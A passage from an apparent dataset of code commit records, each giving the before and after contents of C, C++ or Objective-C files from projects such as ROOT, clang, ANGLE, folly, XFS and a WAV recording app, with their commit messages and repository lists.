(fListOfSignals && (connection = (TQConnection*)next())) {\n      gTQSender = GetSender();\n      connection->ExecuteMethod(params...);\n   }\n}\n\n#endif","subject":"Add missing file for variadic template version of TQObject::EmitVA","message":"Add missing file for variadic template version of TQObject::EmitVA\n","lang":"C","license":"lgpl-2.1","repos":"georgtroska\/root,krafczyk\/root,abhinavmoudgil95\/root,veprbl\/root,BerserkerTroll\/root,mkret2\/root,sirinath\/root,mhuwiler\/rootauto,sawenzel\/root,simonpf\/root,beniz\/root,omazapa\/root,evgeny-boger\/root,bbockelm\/root,gbitzes\/root,sawenzel\/root,evgeny-boger\/root,satyarth934\/root,simonpf\/root,esakellari\/my_root_for_test,mattkretz\/root,CristinaCristescu\/root,nilqed\/root,veprbl\/root,simonpf\/root,gganis\/root,vukasinmilosevic\/root,arch1tect0r\/root,gbitzes\/root,Y--\/root,esakellari\/root,vukasinmilosevic\/root,georgtroska\/root,omazapa\/root,thomaskeck\/root,pspe\/root,beniz\/root,omazapa\/root-old,esakellari\/my_root_for_test,gganis\/root,sbinet\/cxx-root,agarciamontoro\/root,veprbl\/root,krafczyk\/root,omazapa\/root-old,buuck\/root,sawenzel\/root,jrtomps\/root,CristinaCristescu\/root,dfunke\/root,lgiommi\/root,sirinath\/root,esakellari\/root,zzxuanyuan\/root,esakellari\/my_root_for_test,vukasinmilosevic\/root,olifre\/root,CristinaCristescu\/root,lgiommi\/root,davidlt\/root,nilqed\/root,pspe\/root,sirinath\/root,evgeny-boger\/root,sirinath\/root,satyarth934\/root,abhinavmoudgil95\/root,BerserkerTroll\/root,mattkretz\/root,buuck\/root,Y--\/root,thomaskeck\/root,BerserkerTroll\/root,gbitzes\/root,satyarth934\/root,buuck\/root,mhuwiler\/rootauto,olifre\/root,jrtomps\/root,veprbl\/root,Duraznos\/root,CristinaCristescu\/root,agarciamontoro\/root,evgeny-boger\/root,perovic\/root,gbitzes\/root,karies\/root,dfunke\/root,veprbl\/root,georgtroska\/root,sbinet\/cxx-root,simonpf\/root,gganis\/root,zzxuanyuan\/root,BerserkerTroll\/root,karies\/root,evgeny-boger\/root,omazapa\/root,gbitzes\/root,olifre\/root,abhinavmoudgil95\/root,sirinath\/root,nilqed\/root,gbitzes\/root,zzxuanyuan\/root,Y--\/root,Y--\/root,zzxuanyuan\/root,georgtroska\/root,bbockelm\/root,omazapa\/root-old,zzxuanyuan\/root-compressor-dummy,sirinath\/root,agarciamontoro\/root,arch1tect0r\/root,root-mirror\/root,mhuwiler\/rootauto,zzxuanyuan\/root,sawenzel\/root,zzxuanyuan\/root-compressor-dummy,dfunke\/root,zzxuanyuan\/root,Duraznos\/root,beniz\/root,jrtomps\/root,mhuwiler\/rootauto,georgtroska\/root,omazapa\/root,esakellari\/my_root_for_test,zzxuanyuan\/root,pspe\/root,simonpf\/root,Duraznos\/root,krafczyk\/root,evgeny-boger\/root,esakellari\/root,sawenzel\/root,simonpf\/root,perovic\/root,zzxuanyuan\/root-compressor-dummy,abhinavmoudgil95\/root,nilqed\/root,satyarth934\/root,omazapa\/root,buuck\/root,dfunke\/root,thomaskeck\/root,sirinath\/root,agarciamontoro\/root,Y--\/root,mkret2\/root,mkret2\/root,satyarth934\/root,dfunke\/root,vukasinmilosevic\/root,georgtroska\/root,veprbl\/root,gganis\/root,bbockelm\/root,satyarth934\/root,sawenzel\/root,perovic\/root,gbitzes\/root,mattkretz\/root,abhinavmoudgil95\/root,lgiommi\/root,bbockelm\/root,omazapa\/root,jrtomps\/root,nilqed\/root,root-mirror\/root,sawenzel\/root,georgtroska\/root,bbockelm\/root,thomaskeck\/root,root-mirror\/root,krafczyk\/root,perovic\/root,satyarth934\/root,zzxuanyuan\/root,sbinet\/cxx-root,arch1tect0r\/root,agarciamontoro\/root,CristinaCristescu\/root,evgeny-boger\/root,mattkretz\/root,BerserkerTroll\/root,evgeny-boger\/root,agarciamontoro\/root,BerserkerTroll\/root,esakellari\/my_root_for_test,mkret2\/root,vukasinmilosevic\/root,karies\/root,simonpf\/root,pspe\/root,zzxuanyuan\/root-compressor-dummy,olifre\/root,thomaskeck\/root,bbockelm\/root,esakellari\/my_root_for_test,mhuwiler\/rootauto,arch1tect0r\/root,esakellari\/root,Y--\/root,Duraznos\/root,gbitzes\/root,sirinath\/root,georgtroska\/root,esakellari\/root,thomaskeck\/root,CristinaCristescu\/root,krafczyk\/root,evgeny-boger\/root,sbinet\/cxx-root,vukasinmilosevic\/root,gganis\/root,omazapa\/root,arch1tect0r\/root,omazapa\/root-old,jrtomps\/root,lgiommi\/root,davidlt\/root,davidlt\/root,agarciamontoro\/root,mattkretz\/root,pspe\/root,davidlt\/root,sirinath\/root,krafczyk\/root,Y--\/root,sbinet\/cxx-root,thomaskeck\/root,dfunke\/root,Duraznos\/root,buuck\/root,sirinath\/root,bbockelm\/root,pspe\/root,abhinavmoudgil95\/root,karies\/root,lgiommi\/root,mkret2\/root,BerserkerTroll\/root,BerserkerTroll\/root,jrtomps\/root,abhinavmoudgil95\/root,lgiommi\/root,beniz\/root,sbinet\/cxx-root,BerserkerTroll\/root,abhinavmoudgil95\/root,jrtomps\/root,zzxuanyuan\/root,jrtomps\/root,gbitzes\/root,vukasinmilosevic\/root,olifre\/root,davidlt\/root,gganis\/root,veprbl\/root,bbockelm\/root,krafczyk\/root,dfunke\/root,sawenzel\/root,zzxuanyuan\/root-compressor-dummy,BerserkerTroll\/root,esakellari\/root,simonpf\/root,mkret2\/root,nilqed\/root,olifre\/root,georgtroska\/root,perovic\/root,arch1tect0r\/root,krafczyk\/root,Duraznos\/root,CristinaCristescu\/root,buuck\/root,zzxuanyuan\/root-compressor-dummy,karies\/root,pspe\/root,nilqed\/root,mhuwiler\/rootauto,mhuwiler\/rootauto,jrtomps\/root,simonpf\/root,lgiommi\/root,mhuwiler\/rootauto,sawenzel\/root,gganis\/root,perovic\/root,buuck\/root,krafczyk\/root,lgiommi\/root,zzxuanyuan\/root,root-mirror\/root,bbockelm\/root,beniz\/root,esakellari\/my_root_for_test,dfunke\/root,sbinet\/cxx-root,sbinet\/cxx-root,veprbl\/root,omazapa\/root-old,davidlt\/root,root-mirror\/root,omazapa\/root-old,Duraznos\/root,thomaskeck\/root,olifre\/root,sbinet\/cxx-root,mkret2\/root,zzxuanyuan\/root-compressor-dummy,zzxuanyuan\/root,davidlt\/root,lgiommi\/root,root-mirror\/root,agarciamontoro\/root,arch1tect0r\/root,mattkretz\/root,sawenzel\/root,mhuwiler\/rootauto,satyarth934\/root,mkret2\/root,georgtroska\/root,buuck\/root,Duraznos\/root,omazapa\/root,pspe\/root,veprbl\/root,jrtomps\/root,sbinet\/cxx-root,esakellari\/my_root_for_test,agarciamontoro\/root,beniz\/root,mattkretz\/root,dfunke\/root,pspe\/root,pspe\/root,esakellari\/root,Duraznos\/root,vukasinmilosevic\/root,perovic\/root,buuck\/root,sirinath\/root,davidlt\/root,evgeny-boger\/root,gganis\/root,root-mirror\/root,perovic\/root,gbitzes\/root,sbinet\/cxx-root,mattkretz\/root,satyarth934\/root,agarciamontoro\/root,dfunke\/root,mkret2\/root,root-mirror\/root,davidlt\/root,zzxuanyuan\/root-compressor-dummy,jrtomps\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root-old,karies\/root,abhinavmoudgil95\/root,omazapa\/root-old,karies\/root,root-mirror\/root,beniz\/root,esakellari\/my_root_for_test,nilqed\/root,mattkretz\/root,abhinavmoudgil95\/root,georgtroska\/root,vukasinmilosevic\/root,omazapa\/root,davidlt\/root,veprbl\/root,mhuwiler\/rootauto,evgeny-boger\/root,gbitzes\/root,mkret2\/root,zzxuanyuan\/root-compressor-dummy,arch1tect0r\/root,sawenzel\/root,mhuwiler\/rootauto,root-mirror\/root,lgiommi\/root,omazapa\/root-old,perovic\/root,lgiommi\/root,thomaskeck\/root,abhinavmoudgil95\/root,Y--\/root,karies\/root,arch1tect0r\/root,gganis\/root,esakellari\/root,arch1tect0r\/root,krafczyk\/root,davidlt\/root,beniz\/root,esakellari\/root,perovic\/root,gganis\/root,olifre\/root,vukasinmilosevic\/root,simonpf\/root,Y--\/root,karies\/root,buuck\/root,Duraznos\/root,satyarth934\/root,CristinaCristescu\/root,olifre\/root,bbockelm\/root,agarciamontoro\/root,Y--\/root,beniz\/root,zzxuanyuan\/root,omazapa\/root-old,esakellari\/root,satyarth934\/root,omazapa\/root-old,thomaskeck\/root,gganis\/root,olifre\/root,vukasinmilosevic\/root,mkret2\/root,karies\/root,pspe\/root,Duraznos\/root,nilqed\/root,omazapa\/root,beniz\/root,perovic\/root,buuck\/root,CristinaCristescu\/root,simonpf\/root,arch1tect0r\/root,root-mirror\/root,nilqed\/root,karies\/root,BerserkerTroll\/root,nilqed\/root,bbockelm\/root,beniz\/root,CristinaCristescu\/root,mattkretz\/root,mattkretz\/root,dfunke\/root,krafczyk\/root,esakellari\/my_root_for_test,olifre\/root,zzxuanyuan\/root-compressor-dummy,omazapa\/root,esakellari\/root,Y--\/root,veprbl\/root,CristinaCristescu\/root"}
{"commit":"989101bc7493f39dd0f7da840de3940b2af323c9","old_file":"test\/test-file.c","new_file":"test\/test-file.c","old_contents":"#include <glib.h>\n#include <glib\/gstdio.h>\n\n#include <uuid\/uuid.h>\n\n#include <wizbit\/file.h>\n\nint main()\n{\n\t{\n\t\tstruct wiz_file *file;\n\t\twiz_vref vref;\n\t\tFILE *fp;\n\n\t\t\/*\n\t\t   Open up a new versioned file and create a couple\n\t\t   of revisions\n\t\t*\/\n\n\t\tfile = wiz_file_open(WIZ_FILE_NEW, 0, 0);\n\t\tfp = wiz_file_get_handle(file);\n\n\t\tfprintf(fp, \"I BELIEVE\");\n\t\twiz_file_snapshot(file, vref);\n\n\t\tfprintf(fp, \"\\nNO RLY\");\n\t\twiz_file_add_parent(file, vref);\n\t\twiz_file_snapshot(file, vref);\n\n\t\tfprintf(fp, \"\\nI CAN HAS BELIEVE!?\");\n\t\twiz_file_add_parent(file, vref);\n\t\twiz_file_snapshot(file, vref);\n\n\t\twiz_file_close(file);\n\t}\n\n\treturn 0;\n}\n\n","new_contents":"#include <glib.h>\n#include <glib\/gstdio.h>\n\n#include <uuid\/uuid.h>\n\n#include <wizbit\/vref.h>\n#include <wizbit\/file.h>\n\nint main()\n{\n\t{\n\t\twiz_vref_hexbuffer buffer;\n\t\tstruct wiz_file *file;\n\t\twiz_vref vref;\n\t\tFILE *fp;\n\n\t\t\/*\n\t\t   Open up a new versioned file and create a couple\n\t\t   of revisions\n\t\t*\/\n\n\t\tfile = wiz_file_open(WIZ_FILE_NEW, 0, 0);\n\t\tfp = wiz_file_get_handle(file);\n\n\t\tfprintf(fp, \"I BELIEVE\");\n\t\twiz_file_snapshot(file, vref);\n\n\t\tfprintf(fp, \"\\nNO RLY\");\n\t\twiz_file_add_parent(file, vref);\n\t\twiz_file_snapshot(file, vref);\n\n\t\tfprintf(fp, \"\\nI CAN HAS BELIEVE!?\");\n\t\twiz_file_add_parent(file, vref);\n\t\twiz_file_snapshot(file, vref);\n\n\t\tprintf(\"%s\\n\", wiz_vref_to_hex(vref, buffer));\n\n\t\twiz_file_close(file);\n\t}\n\n\treturn 0;\n}\n\n","subject":"Print sha1 of last commit","message":"Print sha1 of last commit\n","lang":"C","license":"lgpl-2.1","repos":"wizbit-archive\/wizbit,wizbit-archive\/wizbit"}
{"commit":"57f17473791703ac82add77c3d77d13d8e2dfbc4","old_file":"src\/tests\/test_utils\/draw_call_perf_utils.h","new_file":"src\/tests\/test_utils\/draw_call_perf_utils.h","old_contents":"\/\/\n\/\/ Copyright (c) 2017 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ draw_call_perf_utils.h:\n\/\/   Common utilities for performance tests that need to do a large amount of draw calls.\n\/\/\n\n#ifndef TESTS_TEST_UTILS_DRAW_CALL_PERF_UTILS_H_\n#define TESTS_TEST_UTILS_DRAW_CALL_PERF_UTILS_H_\n\n#include \"angle_gl.h\"\n\n\/\/ Returns program ID. The program is left in use and the uniforms are set to default values:\n\/\/ uScale = 0.5, uOffset = -0.5\nGLuint SetupSimpleScaleAndOffsetProgram();\n\n\/\/ Returns buffer ID filled with 2-component triangle coordinates. The buffer is left as bound.\n\/\/ Generates triangles like this with 2-component coordinates:\n\/\/    A\n\/\/   \/ \\\n\/\/  \/   \\\n\/\/ B-----C\nGLuint Create2DTriangleBuffer(size_t numTris, GLenum usage);\n\n\/\/ Creates an FBO with a texture color attachment. The texture is GL_RGBA and has dimensions\n\/\/ width\/height. The FBO and texture ids are written to the out parameters.\nvoid CreateColorFBO(GLsizei width, GLsizei height, GLuint *fbo, GLuint *texture);\n\n#endif  \/\/ TESTS_TEST_UTILS_DRAW_CALL_PERF_UTILS_H_\n","new_contents":"\/\/\n\/\/ Copyright (c) 2017 The ANGLE Project Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\/\/\n\/\/ draw_call_perf_utils.h:\n\/\/   Common utilities for performance tests that need to do a large amount of draw calls.\n\/\/\n\n#ifndef TESTS_TEST_UTILS_DRAW_CALL_PERF_UTILS_H_\n#define TESTS_TEST_UTILS_DRAW_CALL_PERF_UTILS_H_\n\n#include <stddef.h>\n\n#include \"angle_gl.h\"\n\n\/\/ Returns program ID. The program is left in use and the uniforms are set to default values:\n\/\/ uScale = 0.5, uOffset = -0.5\nGLuint SetupSimpleScaleAndOffsetProgram();\n\n\/\/ Returns buffer ID filled with 2-component triangle coordinates. The buffer is left as bound.\n\/\/ Generates triangles like this with 2-component coordinates:\n\/\/    A\n\/\/   \/ \\\n\/\/  \/   \\\n\/\/ B-----C\nGLuint Create2DTriangleBuffer(size_t numTris, GLenum usage);\n\n\/\/ Creates an FBO with a texture color attachment. The texture is GL_RGBA and has dimensions\n\/\/ width\/height. The FBO and texture ids are written to the out parameters.\nvoid CreateColorFBO(GLsizei width, GLsizei height, GLuint *fbo, GLuint *texture);\n\n#endif  \/\/ TESTS_TEST_UTILS_DRAW_CALL_PERF_UTILS_H_\n","subject":"Fix angle_perftests compilation on Linux","message":"Fix angle_perftests compilation on Linux\n\nBUG=angleproject:1669\n\nChange-Id: Iec4ed1be1e17d86a095d8c35bddc48aa85effa39\nReviewed-on: https:\/\/chromium-review.googlesource.com\/424967\nReviewed-by: Yuly Novikov <36f5580f63d0a3eacc17e89a61d11e2f646630d2@chromium.org>\nCommit-Queue: Yuly Novikov <36f5580f63d0a3eacc17e89a61d11e2f646630d2@chromium.org>\n","lang":"C","license":"bsd-3-clause","repos":"ecoal95\/angle,MSOpenTech\/angle,ppy\/angle,ecoal95\/angle,ppy\/angle,ecoal95\/angle,ecoal95\/angle,MSOpenTech\/angle,ecoal95\/angle,ppy\/angle,MSOpenTech\/angle,MSOpenTech\/angle,ppy\/angle"}
{"commit":"5b5828b74c758d7babffb2407464507fa004b157","old_file":"test\/CodeGen\/frame-pointer-elim.c","new_file":"test\/CodeGen\/frame-pointer-elim.c","old_contents":"\/\/ RUN: %clang -ccc-host-triple i386 -S -o - %s | \\\n\/\/ RUN:   FileCheck --check-prefix=DEFAULT %s\n\/\/ DEFAULT: f0:\n\/\/ DEFAULT: pushl %ebp\n\/\/ DEFAULT: ret\n\/\/ DEFAULT: f1:\n\/\/ DEFAULT: pushl %ebp\n\/\/ DEFAULT: ret\n\n\/\/ RUN: %clang -ccc-host-triple i386 -S -o - -fomit-frame-pointer %s | \\\n\/\/ RUN:   FileCheck --check-prefix=OMIT_ALL %s\n\/\/ OMIT_ALL: f0:\n\/\/ OMIT_ALL-NOT: pushl %ebp\n\/\/ OMIT_ALL: ret\n\/\/ OMIT_ALL: f1:\n\/\/ OMIT_ALL-NOT: pushl %ebp\n\/\/ OMIT_ALL: ret\n\n\/\/ RUN: %clang -ccc-host-triple i386 -S -o - -momit-leaf-frame-pointer %s | \\\n\/\/ RUN:   FileCheck --check-prefix=OMIT_LEAF %s\n\/\/ OMIT_LEAF: f0:\n\/\/ OMIT_LEAF-NOT: pushl %ebp\n\/\/ OMIT_LEAF: ret\n\/\/ OMIT_LEAF: f1:\n\/\/ OMIT_LEAF: pushl %ebp\n\/\/ OMIT_LEAF: ret\n\nvoid f0() {}\nvoid f1() { f0(); }\n","new_contents":"\/\/ RUN: %clang -ccc-host-triple i386-apple-darwin -S -o - %s | \\\n\/\/ RUN:   FileCheck --check-prefix=DARWIN %s\n\/\/ DARWIN: f0:\n\/\/ DARWIN: pushl %ebp\n\/\/ DARWIN: ret\n\/\/ DARWIN: f1:\n\/\/ DARWIN: pushl %ebp\n\/\/ DARWIN: ret\n\n\/\/ RUN: %clang -ccc-host-triple i386-pc-linux-gnu -S -o - %s | \\\n\/\/ RUN:   FileCheck --check-prefix=LINUX %s\n\/\/ LINUX: f0:\n\/\/ LINUX-NOT: pushl %ebp\n\/\/ LINUX: ret\n\/\/ LINUX: f1:\n\/\/ LINUX: pushl %ebp\n\/\/ LINUX: ret\n\n\/\/ RUN: %clang -ccc-host-triple i386-darwin -S -o - -fomit-frame-pointer %s | \\\n\/\/ RUN:   FileCheck --check-prefix=OMIT_ALL %s\n\/\/ OMIT_ALL: f0:\n\/\/ OMIT_ALL-NOT: pushl %ebp\n\/\/ OMIT_ALL: ret\n\/\/ OMIT_ALL: f1:\n\/\/ OMIT_ALL-NOT: pushl %ebp\n\/\/ OMIT_ALL: ret\n\n\/\/ RUN: %clang -ccc-host-triple i386-darwin -S -o - -momit-leaf-frame-pointer %s | \\\n\/\/ RUN:   FileCheck --check-prefix=OMIT_LEAF %s\n\/\/ OMIT_LEAF: f0:\n\/\/ OMIT_LEAF-NOT: pushl %ebp\n\/\/ OMIT_LEAF: ret\n\/\/ OMIT_LEAF: f1:\n\/\/ OMIT_LEAF: pushl %ebp\n\/\/ OMIT_LEAF: ret\n\nvoid f0() {}\nvoid f1() { f0(); }\n","subject":"Fix test by fully specifying the platform.","message":"Fix test by fully specifying the platform.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@124719 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"01dac7991245e5426c74bf1e08337db463227980","old_file":"folly\/experimental\/io\/AsyncIoUringSocketFactory.h","new_file":"folly\/experimental\/io\/AsyncIoUringSocketFactory.h","old_contents":"","new_contents":"\/*\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#pragma once\n\n#include <folly\/experimental\/io\/AsyncIoUringSocket.h>\n\nnamespace folly {\n\nclass AsyncIoUringSocketFactory {\n public:\n  static bool supports(FOLLY_MAYBE_UNUSED folly::EventBase* eb) {\n#if __has_include(<liburing.h>)\n    return AsyncIoUringSocket::supports(eb);\n#else\n    return false;\n#endif\n  }\n\n  template <class TWrapper, class... Args>\n  static TWrapper create(FOLLY_MAYBE_UNUSED Args&&... args) {\n#if __has_include(<liburing.h>)\n    return TWrapper(new AsyncIoUringSocket(std::forward<Args>(args)...));\n#else\n    throw std::runtime_error(\"AsyncIoUringSocket not supported\");\n#endif\n  }\n};\n\n} \/\/ namespace folly\n","subject":"Add portability helper for AsyncIoUringSocket","message":"io_uring: Add portability helper for AsyncIoUringSocket\n\nSummary:\nTo help support platform independence, wrap up the IoUring socket in a helper factory\nThis allows platforms without io_uring to still use this include, and just receive false\nfor supports()\n\nReviewed By: NiteshKant\n\nDifferential Revision: D37925315\n\nfbshipit-source-id: 5ac18a99ecdd4364377eb90db6ee652aea0182f6\n","lang":"C","license":"apache-2.0","repos":"facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly,facebook\/folly"}
{"commit":"f5920cfe85c21bb1c928d4550c33a1bedf543913","old_file":"arc\/arc\/Model\/Protocols\/FileSystemObject.h","new_file":"arc\/arc\/Model\/Protocols\/FileSystemObject.h","old_contents":"\/\/\n\/\/  FileSystemObject.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 1\/4\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol FileSystemObject <NSObject>\n\n@required\n\n\/\/ The name of this object.\n@property (strong, nonatomic) NSString *name;\n\n\/\/ This should be able to be used to reconstruct whatever is needed\n\/\/ to actually access the file\/folder.\n@property (strong, nonatomic) NSString *identifier;\n\n\/\/ The parent of this object.\n@property (weak, nonatomic) id<FileSystemObject> parent;\n\n\/\/ Whether or not this object can be removed.\n@property BOOL isRemovable;\n\n\/\/ The size of this object. Folders should return the number of objects\n\/\/ within, Files their size in bytes.\n@property float size;\n\n\/\/ Initialises this object with the given name, path, and parent.\n- (id)initWithName:(NSString *)name path:(NSString *)path parent:(id<FileSystemObject>)parent;\n\n\/\/ Returns the contents of this object.\n- (id<NSObject>)contents;\n\n\/\/ Removes this object.\n\/\/ Returns YES if successful, NO otherwise.\n\/\/ If NO is returned, the state of the object or its contents is unstable.\n- (BOOL)remove;\n\n@end\n","new_contents":"\/\/\n\/\/  FileSystemObject.h\n\/\/  arc\n\/\/\n\/\/  Created by Jerome Cheng on 1\/4\/13.\n\/\/  Copyright (c) 2013 nus.cs3217. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol FileSystemObject <NSObject>\n\n@required\n\n\/\/ The name of this object.\n@property (strong, nonatomic) NSString *name;\n\n\/\/ This should be able to be used to reconstruct whatever is needed\n\/\/ to actually access the file\/folder.\n@property (strong, nonatomic) NSString *identifier;\n\n\/\/ The parent of this object.\n@property (weak, nonatomic) id<FileSystemObject> parent;\n\n\/\/ Whether or not this object can be removed.\n@property BOOL isRemovable;\n\n\/\/ The size of this object. Folders should return the number of objects\n\/\/ within, Files their size in bytes.\n@property float size;\n\n\/\/ Returns the contents of this object.\n- (id<NSObject>)contents;\n\n@optional\n\/\/ Removes this object.\n\/\/ Returns YES if successful, NO otherwise.\n\/\/ If NO is returned, the state of the object or its contents is unstable.\n- (BOOL)remove;\n\n\/\/ Initialises this object with the given name, path, and parent.\n- (id)initWithName:(NSString *)name path:(NSString *)path parent:(id<FileSystemObject>)parent;\n\n@end\n","subject":"Make remove and initWithName:path:parent optional.","message":"Make remove and initWithName:path:parent optional.\n","lang":"C","license":"mit","repos":"BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc,BenTobias\/arc"}
{"commit":"6cc8fef4cbeb0b65d225d7b599c75eb5b40a6534","old_file":"fs\/xfs\/linux-2.6\/xfs_ioctl32.h","new_file":"fs\/xfs\/linux-2.6\/xfs_ioctl32.h","old_contents":"\/*\n * Copyright (c) 2004-2005 Silicon Graphics, Inc.\n * All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it would be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write the Free Software Foundation,\n * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#ifndef __XFS_IOCTL32_H__\n#define __XFS_IOCTL32_H__\n\nextern long xfs_file_compat_ioctl(struct file *, unsigned, unsigned long);\nextern long xfs_file_compat_invis_ioctl(struct file *, unsigned, unsigned);\n\n#endif \/* __XFS_IOCTL32_H__ *\/\n","new_contents":"\/*\n * Copyright (c) 2004-2005 Silicon Graphics, Inc.\n * All Rights Reserved.\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License as\n * published by the Free Software Foundation.\n *\n * This program is distributed in the hope that it would be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write the Free Software Foundation,\n * Inc.,  51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA\n *\/\n#ifndef __XFS_IOCTL32_H__\n#define __XFS_IOCTL32_H__\n\nextern long xfs_file_compat_ioctl(struct file *, unsigned, unsigned long);\nextern long xfs_file_compat_invis_ioctl(struct file *, unsigned, unsigned long);\n\n#endif \/* __XFS_IOCTL32_H__ *\/\n","subject":"Fix compiler warning from xfs_file_compat_invis_ioctl prototype.","message":"[XFS] Fix compiler warning from xfs_file_compat_invis_ioctl prototype. \n\nSGI-PV: 904196\nSGI-Modid: xfs-linux-melb:xfs-kern:25509a\n\nSigned-off-by: Andrew Morton <5c1e68b099950c134891f0b6e179498a8ebe9cf9@osdl.org>\nSigned-off-by: Nathan Scott <e2e3f1f24cbc439f8c1ba9b08f9954237d64be64@sgi.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"709c00cf6e88a1acfe2b27e61c9dc5f7a71e49b9","old_file":"test\/CodeGen\/unwind-attr.c","new_file":"test\/CodeGen\/unwind-attr.c","old_contents":"","new_contents":"\/\/ RUN: clang -fexceptions -emit-llvm -o - %s | grep \"@foo() {\" | count 1\n\/\/ RUN: clang -emit-llvm -o - %s | grep \"@foo() nounwind {\" | count 1\n\nint foo(void) {\n}\n","subject":"Add test case for -fexceptions","message":"Add test case for -fexceptions\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@54647 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"2be509c97fdc2cfc6771d97f346ff5e4c5c85089","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k2\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2012 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.03.00-k3\"\n","subject":"Update driver version to 5.03.00-k3","message":"[SCSI] qla4xxx: Update driver version to 5.03.00-k3\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"8a075523ed3a80b5c64022de5d28dfcc2d694f64","old_file":"RecordingApp\/app\/src\/tests\/header_analyzer.c","new_file":"RecordingApp\/app\/src\/tests\/header_analyzer.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n\nint main(){\n    unsigned char header[44];\n    FILE * wavfile;\n    wavfile = fopen(\"test.wav\", \"r\");\n    for(int i = 0; i < 44; i++){\n        fscanf(wavfile, \"%c\", &header[i]);\n    }\n    fclose(wavfile);\n    for(int i = 0; i < 44; i++){\n        printf(\"%x\\n\", header[i]);\n    }\n    return 0;\n}","subject":"Add wave header analyzer test","message":"Add wave header analyzer test\n\nThis code will analyze the header of a wav file to determine if the\nheader is correct.\n","lang":"C","license":"mit","repos":"WycliffeAssociates\/translationRecorder,WycliffeAssociates\/translationRecorder,WycliffeAssociates\/translationRecorder,WycliffeAssociates\/translationRecorder,WycliffeAssociates\/translationRecorder,WycliffeAssociates\/translationRecorder"}
